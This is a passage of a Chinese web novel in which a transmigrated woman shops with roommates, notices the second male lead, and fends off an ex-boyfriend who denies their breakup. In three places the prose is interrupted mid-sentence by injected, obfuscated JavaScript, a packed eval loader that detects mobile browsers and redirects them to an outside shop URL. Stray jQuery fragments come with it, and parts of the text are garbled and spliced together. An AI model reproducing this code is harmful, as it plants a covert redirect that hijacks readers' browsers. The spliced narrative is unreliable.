“行了行了,”她拍拍唐笑,“别感慨了,继续逛。” 四个人从一家店逛到另一家店,手里袋子越来越多。谢予青买了两件卫衣、一条牛仔裤、一双帆布鞋,还买了几双袜子,加起来才花了不到三百块。 路边还有各种小摊,卖烤肠的、卖糖葫芦的、卖炒栗子的。郑圆圆买了一袋糖炒栗子,四个人边走边剥着吃。 “那边有奶茶!”张文慧指着前面,“我要喝芋泥波波!” “我要杨枝甘露!” “我跟你一样!” 谢予青看着她们冲过去,也笑着跟上去。 等奶茶的时候,她掏出手机看了一眼余额。 这手机是原主的,她前几天才研究明白。绑定的银行卡里还有多少钱,她一直没仔细看。 这一看,愣住了。 余额:8357.6元。 谢予青眨眨眼,又数了一遍。 八千多? 她脑子里飞快地回忆原文里关于女二的设定。好像是家境不错,父母做生意的,上大学给的生活费应该不少。 八千多块,对于学生来说,确实不少了,之前她上大学的时候,一个月生活费才一千五,还得省着花。 谢予青美滋滋地把手机揣回兜里。 有钱的感觉真好。 虽然不是大富大贵,但够她这学期吃吃喝喝买买书了,她之前还担心生活费不够用,现在放心了。 “想什么呢?”唐笑凑过来,“笑得这么猥琐。” “没什么,”谢予青收起笑容,“就是觉得有钱真好。” “废话,”唐笑翻个白眼,“谁不觉得有钱真好。” 奶茶拿到手,四个人继续逛,逛到下午一点多,肚子都饿了。 “吃饭吃饭!”郑圆圆指着前面,“那家川菜馆,我之前吃过,特好吃!” 四个人杀进川菜馆,找了个靠窗的位置坐下。 店里人很多,都是周末出来逛街的学生。谢予青点完菜,端着杯子喝水,随便扫了一眼周围。 隔壁桌坐着一群年轻男孩,看起来也是大学生。五六个人,正在热热闹闹地聊天,桌上的菜已经上了大半。 谢予青的视线从他们身上扫过,然后突然停住了。 人群里有一个男生,特别显眼。 他坐在靠里的位置,穿着一件浅绿色上衣,皮肤很白,个子看起来很高,戴着一副金丝边眼镜。正侧着头听旁边的人说话,嘴角带着浅浅的笑。 阳光从窗户照进来,打在他脸上,那层光晕让他整个人看起来非常美好。 谢予青愣了一下。 这男孩长得,好看。 跟夏听北那种冷冰冰的帅不一样,他是一种温温柔柔的好看,看着就让人觉得舒服。 她正看着,旁边的唐笑突然压低声音:“卧槽卧槽卧槽!” “怎么了?” “那边!”唐笑用眼神示意,“隔壁桌!那个戴眼镜的!” 谢予青点头:“看到了,怎么了?” “那是乾珩学长!”唐笑声音都变了,“大三的,建筑系的!超级超级超级帅!” 郑圆圆和张文慧也凑过来,四个人偷偷摸摸地往那边看。 “真的是他!” “本人比照片还帅!” “我听学姐说他特别温柔,对谁都很好。” 谢予青听着她们叽叽喳喳,脑子里突然闪过一个念头。 乾珩。 这个名字怎么有点耳熟…… 她愣了两秒,然后想起来了。 乾珩。 原著里的男二号。 就是那个温柔深情、默默守护女主、帮女主解决各种麻烦、最后眼睁睁看着女主投入男主怀抱的苦情男二。 谢予青又看了他一眼。 这次眼神里带了一点同情。 原来就是你啊。 书里写他好像是对苏昭昭一见钟情,然后各种帮忙、各种守护。苏昭昭遇到困难他第一个出现,苏昭昭伤心他陪着安慰,苏昭昭需要什么他二话不说就办到。 结果呢? 结果苏昭昭还是选了夏听北。 这位仁兄最后好像出国了还是怎么着,反正就是黯然退场,成全男女主。 典型的工具人男二。 谢予青一脸同情地看着他,想到他最后的结局,忍不住傻笑了起来。 突然,乾珩像是有所察觉一样,转过头来看她。 两个人的视线在空中撞上了。 谢予青愣了一下,还没来得及收回那抹傻笑,就看到乾珩朝她笑了笑。 那笑容温温柔柔的,金丝眼镜后面是一双很干净的眼睛。 谢予青的心脏,不争气地漏跳了一拍。 我去。 这也太好看了吧。 她冲他点点头,然后迅速扭过头,假装看窗外的风景。 心脏还在扑通扑通跳。 谢予青在心里骂自己,谢予青,你二十八了,见过多少男人了,能不能有点出息? 但脑子不听使唤,还在回想刚才那个笑。 真好看啊。 她忍不住又偷偷看了一眼。 乾珩已经转回去继续和同学聊天了,侧脸的线条很好看,笑起来的样子更好看。 谢予青收回视线,端起杯子喝了一大口水。 苏昭昭是怎么做到的? 这么帅、这么温柔的男二号,她是怎么忍心拒绝的? 要搁她在现实世界中的那个年纪,遇到这种年轻貌美的男生,早就如饿狼扑…… 算了算了。 谢予青摇摇头,把自己脑子里的念头甩出去。 人家是男二号,心有所属,她一个穿书的,还是别掺和了。 “哎哎哎,”唐笑戳她,“你刚才是不是跟乾珩学长对视了?” “没有。” “有!我看到了!”唐笑眼睛发亮,“他还冲你笑了!” “那是礼貌。”谢予青淡定地说,“他看到我看他,不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513707|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不笑而已。” “是吗?”唐笑将信将疑。 “是。” 菜上来了,四个人开始埋头吃饭。谢予青夹了一筷子水煮肉片,辣的直吸气,但就是停不下来。 隔壁桌的男生们也吃完了,起身结账走人。乾珩从她们桌边经过的时候,脚步顿了一下。 谢予青抬头,又对上他的视线。 他冲她点了点头,然后跟着同学走了。 唐笑等他们走远,立刻扑过来摇她胳膊:“他还跟你点头!他是不是对你有意思!” “你想多了。”谢予青把她按回去,“吃饭。” 吃完饭已经下午两点多,四个人拎着大包小包往回走。 公交车上挤满了人,谢予青被挤在窗边,看着窗外的天空,心情很好。 今天买了衣服,喝了奶茶,吃了好吃的,还看到了帅哥。 这才是大学生活该有的样子嘛。 回到学校的时候,已经是傍晚了。校门口人来人往,都是周末出门逛街的学生。 四个人有说有笑地往里走,刚进校门,迎面就撞上一个人。 谢予青抬头一看,呵,冤家路窄。 夏听北看起来像是要出去,傍晚降温了,他穿一件黑色外套,头发有点乱,应该是被风吹的。旁边还跟着一个男生,高高瘦瘦的,应该是他室友。 谢予青看了他一眼,然后继续往前走。 连点头都懒得点。 擦肩而过的时候,她听到那个男生小声说:“哎,那不是你女朋友吗?” 夏听北没说话。 “怎么都不搭理你的?生气了?”那人继续问。 “没事。”夏听北的声音很淡,“闹小性子了吧。” 两个人继续往校门外走。 谢予青脚步都没停,跟唐笑她们讨论晚上吃什么。 走出去老远,唐笑才小声说:“哎,刚才那是夏听北吧?” “嗯。” “他好像看你了。” “是吗?没注意。” 唐笑看了她一眼,没再说话。 谢予青是真的没注意。 她的心思早就飞到下周的课表上了。周一有《普通生物学》,周二有实验课,周三有讲座,周四有…… 校门口,夏听北走出去一段,突然停下脚步。 “怎么了?”李奕问他。 “没什么。” 夏听北回头看了一眼。 校门里面,那个白色的身影已经走远了,正和几个女生说说笑笑,拎着购物袋的背影看起来很轻快。 李奕凑过来:“看什么呢?” “没有。”夏听北收回视线,“走吧。” 两个人继续往外走。 走了几步,李奕又问:“哎,你跟谢予青到底怎么回事?” “没什么。” “是不是吵架了?” “没有。” “别嘴硬,肯定吵了吧!你怎么不去哄哄?” 夏听北没说话。 哄? 他从来没哄过人。 再说,是她主动提的分手,又不是他。 可是…… 她好像没了他,过得也挺好的。 这个念头冒出来,夏听北心里突然有点说不出的滋味。 “哎,”李奕还在旁边絮叨,“女生嘛,哄哄就好了,你买束花,说几句好听的,肯定……” “行了。”夏听北打断他,“没事。” 李奕看他脸色,识趣地闭了嘴。 两个人沉默地往前走。 女生宿舍里,谢予青正把今天买的衣服一件一件拿出来试。 “这件好看!” “这件也好看!” “你穿什么都好看!” 唐笑她们三个坐在床上,一边吃零食一边给她当评委。 谢予青在镜子前转了一圈,美滋滋地欣赏自己的新衣服。 “对了,”郑圆圆突然说,“今天那个乾珩学长,真的看你了。” “没有。” “有!”郑圆圆坚定地说,“我看得清清楚楚,他看了你两眼!” “那又怎样?”谢予青换下衣服,坐到床上,“人家是学长,看看学妹怎么了?” “你不懂,”郑圆圆一脸过来人的表情,“那种眼神,不一般。” “怎么不一般?” “就是……”郑圆圆想了想,“就是那种,觉得你好看的眼神。” 谢予青被她逗笑了:“行了行了,别瞎琢磨了,人家有喜欢的人。” “谁?” “没谁,我瞎说的。” 唐笑凑过来:“你怎么知道他有喜欢的人?” 谢予青意识到说漏嘴了,赶紧圆回来:“猜的,长得那么帅,肯定有女朋友。” “那倒也是。”唐笑点点头,“不过我看他今天那反应,不像有女朋友的样子。” “行了行了,”谢予青把话题岔开,“明天吃什么?” 果然,三个室友立刻被带跑偏,开始讨论明天的早饭午饭晚饭。 谢予青长舒一口气。 4. 第 4 章 周三下午,谢予青独自在图书馆看书,晚饭时间,她掏出手机在宿舍群里发消息。 谢予青:晚上七点大礼堂有个生物学的讲座,中科院来的专家,谁去? 唐笑:不去。 郑圆圆:不去。 张文慧:不去。 谢予青:…… 唐笑:周末逛累了,我要躺平。 郑圆圆:我要追剧。 张文慧:我要写作业。 谢予青:行吧,我自己去。 她早就料到是这个结果。三个室友对讲座都没什么兴趣,上周逛街的热情过后,这周都进入了贤者模式。 不过没关系,她自己去。 谢予青背着书包往食堂走,路上买了杯奶茶,又去食堂快速解决了晚饭。出来的时候天有点阴,但她没在意,一边喝着奶茶一边往大礼堂溜达。 十月的傍晚,风吹在脸上凉凉的,很舒服。 路边的桂花还在开,香味一阵一阵的。谢予青走得不快,享受着这种悠闲的感觉。 现实世界这个点,她应该还在公司对着电脑改方案,外卖盒子堆在一边,根本没时间出来溜达。 而现在,她要去听讲座了! 中科院来的专家,讲基因编辑的前沿进展,这种级别的讲座,现实世界她想听都没机会听。 谢予青走到大礼堂的时候,门口已经有不少人了。 她进去找了个位置坐下,掏出手机看了看时间,还有十分钟。 大礼堂里人越来越多,基本都是生物系的学生,也有一些其他系的。谢予青低头刷了刷朋友圈,看到唐笑发了张躺床上的照片,配文:周末透支,周一补觉,周二补觉,周三继续补觉。 她笑了笑,点了个赞。 正低头看着手机,突然感觉到旁边有人坐了下来。 谢予青下意识抬头,然后…… 心里咯噔一下。 怎么又是阴魂不散的夏听北! 他穿着一件深蓝色的外套,面无表情地坐在她旁边隔了一个人的座位上。 紧接着,她旁边又坐下一个人。 白色裙子,温柔笑容,不用看,肯定是苏昭昭。 谢予青:“……” 这是什么倒霉缘分? 大礼堂这么大,那么多空位,偏偏要坐她旁边? 她还没来得及反应,苏昭昭已经看到了她。 “予青?”苏昭昭笑着打招呼,“好巧,你也来听讲座?” 谢予青扯了扯嘴角:“嗯,好巧。” 苏昭昭看了看她,又看了看夏听北,突然意识到什么,笑着说:“哎呀,听北你也是的,怎么不挨着你女朋友啊?快,咱们换个地方。” 说完,她真的站起来,把夏听北往谢予青这边推了推,两个人换了个位置。 夏听北居然也没说什么,就这么坐在了谢予青旁边。 两个人的胳膊距离不超过十厘米。 谢予青:“……” 她心里一万头草泥马奔腾而过。 苏昭昭这是什么操作,看似非常体贴善解人意,但是怎么就让人那么火大呢? 谢予青深吸一口气,告诉自己:冷静,冷静,不生气。 反正她已经分手了,夏听北跟她没关系。 不过听苏昭昭这个意思,夏听北居然没有跟她说分手的事吗?她还以为分手了之后,夏听北会马上迫不及待地告诉她呢。 她低头继续看手机,当旁边是空气。 夏听北坐着没动,也没说话。 苏昭昭倒是很热情,凑过来问:“予青,你也对基因编辑感兴趣啊?好厉害,我听听北说这个讲座很难懂的。” 谢予青“嗯”了一声,眼睛没离开手机,心想我就是生物专业的,当然感兴趣。 苏昭昭也不尴尬,继续说:“我是陪听北来的,他对这方面感兴趣,我不像你们那么聪明,这些我都听不懂,他非要喊我来,我也没有办法。” 说完,她还有些不好意思地笑了笑。 谢予青在心里翻了个白眼。 陪他来,没办法。 行吧行吧,你们爱怎么着怎么着,跟我没关系。 夏听北始终没吭声。 讲座开始了。 台上是一位五十多岁的女教授,讲的是基因编辑技术的最新进展。她讲得很深入,涉及到很多前沿的研究。 谢予青把手机收起来,开始认真听,听着听着,眼睛都亮了。 这些内容她只在科普视频里看过,现在听专业人士讲,感觉完全不一样。 她拿出笔记本,开始记重点。 基因编辑的脱靶效应怎么解决? 伦理问题怎么看待? 临床应用的前景如何? 她一边听一边记,时不时若有所思地点点头,偶尔还会小声重复教授说的关键词。 完全忘记了旁边坐着谁。 夏听北没想到会在这里遇到谢予青,更没想到的是,谢予青居然听得这么认真。 他忍不住侧过头看了她一眼。 她低着头,手里的笔飞快地记着,偶尔抬头看一眼台上,然后又低下头继续写。眉头微微皱着,嘴唇抿着,整个人专注得好像周围什么都不存在。 教授讲到一个复杂的机制时,她轻轻“哦”了一声,像突然想通了什么,嘴角翘了一下。 那表情,认真又生动。 她原本就长得漂亮,凝神思索的样子更是吸引人。 夏听北看得愣了一下。 这完全不是他想象中的谢予青,虽然他们才刚认识一个多月,而且其中的一个月都在军训,但是以他对她浅薄的一点认知,他总觉得谢予青是那种整天琢磨怎么打扮怎么约会的女孩,他从来没觉得她跟“学习”这两个字有什么关系。 可是现在…… 讲座持续了一个半小时。 结束的时候,大家开始有序地往外走。谢予青把笔记本收进书包,站起来跟着人群往外挪。 夏听北就在她前面两步远的地方。 苏昭昭走在他旁边,两个人挨得很近。 谢予青懒得看,低着头往外走。 走到大礼堂门口,她傻眼了。 外面下雨了。 而且还不小,哗啦啦啦的,地上已经积起了小水坑,雨点砸在上面溅起水花。 谢予青站在门口,看着外面的雨,有点懵。 她来的时候天就有点阴,但她太兴奋了,根本没在意。手机也没看天气预报,完全不知道会下雨。 周围的人都掏出伞撑开,陆陆续续走进雨里。 谢予青翻了翻书包,没有伞。 她从来就没有带伞的习惯。现实世界每天两点一线,出门就是地铁,下不下雨都无所谓,这儿刚来没多久,还没养成看天气预报的习惯。 谢予青站在门口,有点郁闷。 跑回去吧? 可是雨这么大,跑回去肯定淋成落汤鸡。 不跑吧? 等雨停?谁知道要等多久。 正纠结着,旁边有人说话了。 “听北,你把伞给予青吧,我们俩打一把回去就行了。”苏昭昭的声音温温柔柔的,“我先送你回宿舍,然后我再回去。” 谢予青扭头一看,夏听北和苏昭昭也站在门口。夏听北手里拿着一把黑伞,苏昭昭手里拿着一把粉色的。 苏昭昭正笑眯眯地看着她,眼神里满是善意。 谢予青看着那张温柔的脸,心里突然冒出一股火。 什么意思? 让她男朋友把伞给她,然后他们俩打一把? 谢予青不是傻子。 她温柔地说“我先送你回去”,听起来是体贴夏听北。可是,夏听北是她男朋友啊。 别人有女朋友的情况下,青梅竹马难道不应该避嫌吗? 就算他们从小认识,就算关系好,也应该保持距离啊。 这种“我跟你男朋友打一把伞,让他把伞给你”的操作,合理吗? 谢予青想起原著里那些情节。 原主为什么越来越讨厌苏昭昭? 就是因为这些小事。 一件两件不算什么,十件二十件堆起来,谁能受得了? 苏昭昭永远那么温柔,那么善良,那么为别人着想。可她每一次“为别人着想”,最后受益的都是她自己。 把伞让给谢予青,她跟夏听北打一把,听起来多好啊,多善良啊。 可结果呢? 结果是她和夏听北一起走,谢予青一个人走。 谢予青看着苏昭昭那张温柔的脸,突然就明白了原主为什么最后会黑化。 这种憋屈,不是谁都能忍的。 但是…… 谢予青深吸一口气。 她不是原主。 她不会为这种事情生气,更不会失控。 因为她根本不在意夏听北。 既然不在意,那苏昭昭想怎么样,关她什么事? 谢予青看着外面的雨,突然眼前一亮。 她现在是十八岁。 十八岁的大学生。 年轻,有活力,身体健康。 淋一场雨怎么了? 多难得的青春体验啊! 现实世界她三十不到就天天保温杯泡枸杞,生怕感冒发烧影响工作。淋雨?不可能的,感冒了谁给她批假?谁帮她干活? 现在她有大把都时间,有健康的身体,有一群会照顾她的室友。 淋一场雨怎么了? 感冒了也不怕,轻轻松松跟导员请个假躺一天,多爽。 谢予青想通了,嘴角翘起来。 她看都没看旁边的两个人,直接冲进了雨里。 “予青!”苏昭昭惊呼一声,“你干什么!” 谢予青没理她。 雨砸在身上,凉凉的,有点冷。 她跑了几步,回头看了一下大礼堂门口,那两个身影还站在那里,好像被她的操作惊呆了。 谢予青笑了一下,继续跑。 雨水顺着头发往下流,衣服很快就湿透了,贴在身上。帆布鞋踩在水坑里,溅起水花,裤腿全湿了。 但谢予青一点都不觉得难受。 反而觉得,爽! 这才是青春啊。 谢予青跑着跑着,笑出声来。 路上的人都在看她,一个女生在雨里跑,浑身湿透,却在笑。 该不会疯了吧? 她不管。 她就这么跑着,享受着雨水打在脸上的感觉,享受着这种自由自在的快乐。 突然,有人从后面追上来,一只手抓住她的胳膊,把她拽住了。 “你跑什么!” 谢予青被拽得一个踉跄,回头一看,又是夏听北! 他也浑身湿透了,头发贴在额头上,脸上的表情又凶又急。他手里撑着一把伞,罩在谢予青头上,自己大半个身子都在外面淋着。 谢予青愣住了。 “你……” “我什么我!”夏听北语气很冲,“雨这么大你跑什么?不要命了?” 谢予青回过神来,甩开他的手。 “你管我干什么?回去啊,跟苏昭昭一起走啊。” 夏听北眉头皱起来:“你什么意思?” “没什么意思。”谢予青往后退了一步,躲开他的伞,“我们分手了,你不用管我,苏昭昭还在等你呢,快回去吧。” 夏听北看着她,脸色很难看。 雨水顺着他的脸往下流,他站在那里,一动不动。 “我有同意分手吗?”他突然说。 谢予青愣住了。 “你说什么?” “我说,”夏听北一字一顿,“我没有同意分手,我们现在,还是男女朋友。” 谢予青以为自己听错了。 她看着夏听北,确定他不是在开玩笑,然后……被气笑了。 “不是,”她抹了一把脸上的雨水,“你什么意思?分手还要两个人同意?我单方面宣布分手不行吗?” “不行。” “凭什么?” “不凭什么。”夏听北把伞塞进她手里,“拿着。” 然后他转身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时分手的时候删得很干脆,完全没想过还有需要联系的一天。 现在好了。 谢予青叹了口气,拿着伞出门。 先去咖啡馆,没人。 又去金融系的教学楼转了一圈,没找到。 正准备放弃的时候,在教学楼门口看到了他。 夏听北刚从里面出来,穿着件黑色的外套,脸色有点苍白,看起来像没睡好。 谢予青走过去,把伞递给他。 “还你,谢谢。” 夏听北接过伞,一言不发看着她。 谢予青转身就要走。 “站住。” 谢予青回头:“干嘛?” 夏听北拿着手机,举到她面前:“你把我删了?” 谢予青看了一眼,屏幕上是一个红色感叹号:消息已发出,但被对方拒收了。 “嗯。”她点头,“删了。” 夏听北的脸一下子黑了。 “谁让你删的?” “分手了不删留着干嘛?”谢予青莫名其妙,“留着过年?” “我说了,我没有同意分手。” “你同不同意是你的事,我分手是我的事。”谢予青看着他,多少有点无奈,“夏听北,我们结束了,你爱喜欢谁喜欢谁,跟我没关系。” 夏听北往前走了一步,离她很近。 “我不同意。” 谢予青又被他气笑了。 “不是,你这个人怎么这样?分手还要你批准?你以为你是谁?” “我是你男朋友。” “前男友。”谢予青纠正他。 “没有前。” “有前。” “没有。” “你……”谢予青深吸一口气,“行行行,你爱怎么想怎么想,反正我不承认。” 说完,她转身就走。 “谢予青!” 她没理,加快脚步。 走出去老远,还能感觉到身后那道目光。 什么人嘛,谢予青在心里嘀咕。 明明喜欢苏昭昭,还在这儿跟她纠缠不清。 有意思吗? 接下来几天,谢予青总觉得有点心不在焉。 上课的时候会走神,看书的时候会发呆。 脑子里老是冒出夏听北那句话:“我没有同意分手。” 还有那天雨里,他追上来把伞塞给她的样子。 烦死了。 周四下午,她去图书馆还书。 从图书馆出来,走在梧桐道上,迎面走过来一个熟悉的人。 是乾珩。 谢予青愣了一下。 乾珩也看到了她,脚步顿了顿,然后笑着点了点头。 谢予青下意识也点了点头。 两个人擦肩而过。 走出去几步,谢予青忍不住回头看了一眼。 乾珩也正好回头,两个人的视线又对上了。 他笑了笑,转过身继续走。 谢予青赶紧把头扭回来,心脏又不争气地跳了几下。 她想起那天逛街的时候,唐笑她们说乾珩看她眼神不一般。 她当时觉得她们想多了。 可现在…… 算了算了。 谢予青摇摇头。 人家是男二号,心里只有苏昭昭。 别瞎想别瞎想。 可是那个笑容,真的挺好看的。 谢予青一边走一边想,嘴角不自觉地翘起来。 管他呢,就当是看帅哥养眼了。 反正她现在单身,爱看谁看谁。 5. 第 5 章 又隔了一周,唐笑在网上做了好些功课,非要带她们去爬山。 周六一大早。 “起床起床!去爬山!” 谢予青眯着眼睛看了一眼窗外,天色灰蒙蒙的,刚蒙蒙亮。 她无奈地叹了口气:“现在才几点啊?你醒的也太早了吧!” “六点!快点起来,晚了就热了!”唐笑整个人非常有精神,活力十足,嗓门也大,不清醒都难。 郑圆圆和张文慧也哀嚎着从床上爬起来。四个人洗漱收拾,开开心心化妆,对镜穿搭,随后背上包出门。 校门口已经有辆小巴在等了。这是唐笑联系的,说去城郊的青山,风景好,适合秋天去。 上了车,谢予青找了个靠窗的位置坐下,准备补觉。 刚闭上眼,就听到后面一阵吵吵嚷嚷。 “快快快,上车!” “李奕你特么慢点!” “夏听北你坐里边!” 听到这个名字,谢予青一下子睁开眼,抬头一看,一群男生正往车上挤。 打头的那个她前几天见过,应该是夏听北的朋友,高高瘦瘦的。 后面跟着的几个她就不认识了,不过按照小说里写的,应该都是夏听北的室友吧,都是金融系的。 最后面那个当然就是美貌又高冷的夏听北喽。 他穿着件黑色的运动外套,背着个黑色双肩包,面无表情地上了车。 谢予青:“……” 这是什么冤家路窄? 李奕已经看到了她们,眼睛一亮:“哎!唐笑!你们也去爬山?” 唐笑也愣了一下:“你们也去青山?” “对啊!太巧了!”李奕一屁股坐到唐笑旁边的空位上,“一起一起!” 谢予青扶额,不是,他俩是啥时候认识的? 仔细想,小说里也没写,或许是因为互相是对方的室友,所以小说的设定应该是见过面的。 这下好了,爬山变成联谊了。 车开了,一路上吵吵闹闹的。 李奕是个自来熟,跟唐笑聊得火热,郑圆圆和张文慧也跟其他几个男生聊上了,车厢里全是笑声。 谢予青靠着窗,假装睡觉。 她能感觉到,有一道视线时不时落在她身上。 她懒得理。 一个多小时后,车到了山脚下。 青山不算很高,风景倒是不错,满山的树都开始变黄变红,层林尽染。 “出发出发!”李奕一马当先。 一群人开始往上爬。 一开始还有说有笑的,爬了半个小时,话就少了,都只顾着喘气。 谢予青平时不运动,爬了一会儿就开始腿软。 但她咬着牙坚持,不想被人看出来。 唐笑和李奕不知道什么时候跑到前面去了,两个人边走边聊,时不时笑几声。 郑圆圆和张文慧也走得快,跟几个男生在前面。 谢予青慢慢落在了后面。 爬着爬着,她发现旁边多了一个人。 夏听北也走得很慢,不紧不慢地跟在她旁边,也不说话,就是走。 谢予青看了他一眼,没理他,继续爬。 山路越来越陡,谢予青的腿越来越酸。 她不肯服输,咬着牙往上走。 她不明白,为什么其他人可以爬得那么轻松?她都已经回到了18岁呀,难道18岁的身体28岁的心也不行? 上天能不能对我们这些老年人好一点呀! 不,她又乐观地想,肯定不是她的问题,或许是因为原主太瘦了,本身体素质就有一些差,她回想小说里有没有写过,好像有提过几句非常瘦,不太喜欢体育运动。 继而又想到,按照小说的设定,过段时间他们学校还有一个运动会,因为看到苏昭昭参加了万米跑,她也非得参加,结果跑着跑着直接晕菜了,而男主呢,这个地方让她非常生气,男主只顾着去给苏昭昭送水,把她这个面如菜色的女朋友直接抛在一边了,还是另外一个男生把她送去的医务室。 那个男生是……男二! 不过男二为什么要送她? 好像是因为…… “包给我。” 谢予青扭头,夏听北看着她,表情还是那样淡淡的。 “不用。” “给我。” “说了不用。” 夏听北也不废话,直接伸手把她背上的包摘下来,挂到自己身上。 谢予青愣了一下:“你干嘛?” “帮你拿。” “我没让你拿。” “我想拿。” 谢予青被噎住了。 这人是不是有病? 她懒得跟他争,继续往上爬。 没了包,确实轻松不少。 夏听北走在她旁边,背着两个包,还是那副不紧不慢的样子。 走了一会儿,他突然开口。 “那天淋雨,感冒了吗?” 谢予青没想到他会问这个,愣了一下:“没有。” “嗯。” 又没话了。 谢予青偷偷看了他一眼。 他脸上没什么表情。 小小年纪还挺会装。 快到山顶的时候,前面传来一阵欢呼。 “到了到了!” “快上来!” 谢予青抬头,看到山顶的平台就在前面。她加快脚步,冲了上去。 山顶的风景很好。 整个城市都在脚下,远处山峦起伏,近处红叶如火。 “哇……”谢予青忍不住感叹。 唐笑跑过来:“你终于上来了!快快快,拍照!” 几个女生凑在一起,各种角度各种拍。 男生们在旁边起哄。 “哎,帮我们拍一张呗!” “对对对,一起拍!” 李奕把手机塞给一个路人,把所有人都招呼过来。 “来来来,大合照!” 一群人挤在一起,谢予青被挤到中间,左边是唐笑,右边……等等,夏听北什么时候站到她旁边的? “笑一个!” 咔嚓一声,还没等她反应过来,照片都已经拍完了。 年轻人效率就是高啊。 拍完照,大家开始准备午饭。 李奕他们带了烧烤的工具和食材,在山顶找了个空地,支起炉子开始生火,热情地邀请她们一起。 谢予青本来想下山之后找家店吃饭的,结果唐笑她们已经开始帮忙串肉切菜,忙得不亦乐乎了。 谢予青没办法,只能也帮忙,蹲在地上串鸡翅。 正串着,听到有人喊:“嫂子!帮我把那个签子递一下!” 谢予青愣了一下,抬头。 是李奕。 他正冲她笑,旁边几个男生也在笑。 谢予青脸有点僵。 嫂子? 她看了一眼不远处的夏听北,他正低着头生火,好像没听见。 “快点儿啊嫂子!”李奕又喊。 谢予青不知道该怎么接。 她不知道夏听北是怎么跟这些朋友们说的,她也不太想在这样的场合直接说他们俩已经分手了。 多尴尬。 但是如果什么都不说,那不就等于是默认了吗? 她可不想当他们的嫂子啊! 你们的嫂子另有其人,不是她啊喂! 真是闹心。 她正纠结着,唐笑看出了她的意思,在旁边打圆场:“行了行了,别瞎喊,赶紧干活!” 李奕嘿嘿一笑,没再喊。 但谢予青能感觉到,那几个男生看她的眼神,还是那种“这是夏听北女朋友”的眼神。 他们显然不知道已经分手的事,这个夏听北! 谢予青看了一眼夏听北。 他低着头,也不知道在想什么。 算了。 这种场合,解释不清楚,越解释越乱。 就当没听见吧。 谢予青继续串鸡翅。 可心里的感觉怪怪的。 算了,不想了。 肉烤好了,香气飘得到处都是。 “来来来,开吃!” 大家围坐成一圈,中间是烤好的肉串、鸡翅、香肠、玉米。 谢予青伸手去拿,还没碰到,一串烤好的鸡翅就递到了她面前。 夏听北举着那串鸡翅,看着她。 “给。” 谢予青愣了一下,下意识接过:“谢谢。” 夏听北“嗯”了一声,又低头去烤别的。 旁边的李奕看到了,立刻起哄:“哎哟哟哟,夏听北你怎么不给我烤一个?” “你自己没手?” “哈哈哈哈!” 大家笑成一团。 谢予青咬了一口鸡翅,外焦里嫩,还挺好吃的。 她偷偷看了一眼夏听北,他正认真地翻着烤架上的肉串,侧脸的线条很好看。 别说,这小鲜肉长得确实还不错。 “来来来,喝一个!”李奕举起饮料,“今天天气好,风景好,人也好,干杯!” “干杯!” 大家碰杯,笑声在山顶回荡。 谢予青喝着饮料,看着周围的这些人,心里突然有点感动。 唐笑、郑圆圆、张文慧,还有这些刚认识的男生。 上大学,爬山,烧烤,起哄。 多好的日子。 在现实世界里,大学毕业之后的周末要么加班,要么在家躺着。 即使有同事愿意组织这种集体活动,她也懒得去。 现在她坐在这里,吃着烤肉,吹着山风,听着大家笑闹。 真好。 她在心里想,那位什么神仙姐姐,感谢你让我中了这个大奖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513709|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过神仙姐姐怎么现在没有动静了,她用脑电波跟她交流,“喂喂喂!你在不在?” 没有人回答她,算了。 “哎,谢予青,”李奕凑过来,笑嘻嘻的,“你是怎么看上我们夏听北的?他那么闷。” 谢予青看了一眼夏听北。 他也正看着她,表情有点微妙。 “我,”谢予青想了想,实话实说,“我没看上他。” “噗!”旁边几个人喷了。 李奕显然很感兴趣,非要刨根问底:“那你为什么要跟他在一起?” 谢予青张了张嘴,不知道怎么说。 那是原主死缠烂打追的,跟她也没啥关系啊! 不过原主究竟为什么喜欢他?因为脸?书里也没说,权当是为了脸吧! 这个傻丫头,眼光倒也确实可以,一群男生就属他最扎眼,不过不属于自己的人,还是不要强求的好。 夏听北突然开口:“吃你的肉,话那么多。” 李奕嘿嘿笑着,不再问了。 谢予青偷偷松了口气。 吃完烧烤,大家在山顶又待了一会儿,拍拍照,看看风景。 太阳开始西斜的时候,他们才准备下山。 下山比上山轻松,但是下山的时候腿容易发抖,也不知是不是上山累的。 而且有些山路还挺陡峭的,看起来多少是有一些害怕。 谢予青走得小心翼翼,怕摔倒。 走了一会儿,旁边又多了个人。 夏听北还是走在她旁边,还是不说话。 但每次她脚下打滑的时候,他的手就会伸过来,虚虚地扶一下。 谢予青心里有点乱。 这人可真有意思。 喜欢苏昭昭的是他,不承认分手的也是他。 现在又这样。 那天下雨,他追上来把伞塞给她,那一幕还真有点偶像剧那味儿,如果她是女主,那还挺感人挺甜蜜的。 可她不是啊,她就是一个被男主当挡箭牌的女二罢了。 还有第二天还伞,他说“我没有同意分手”。 啧啧啧。 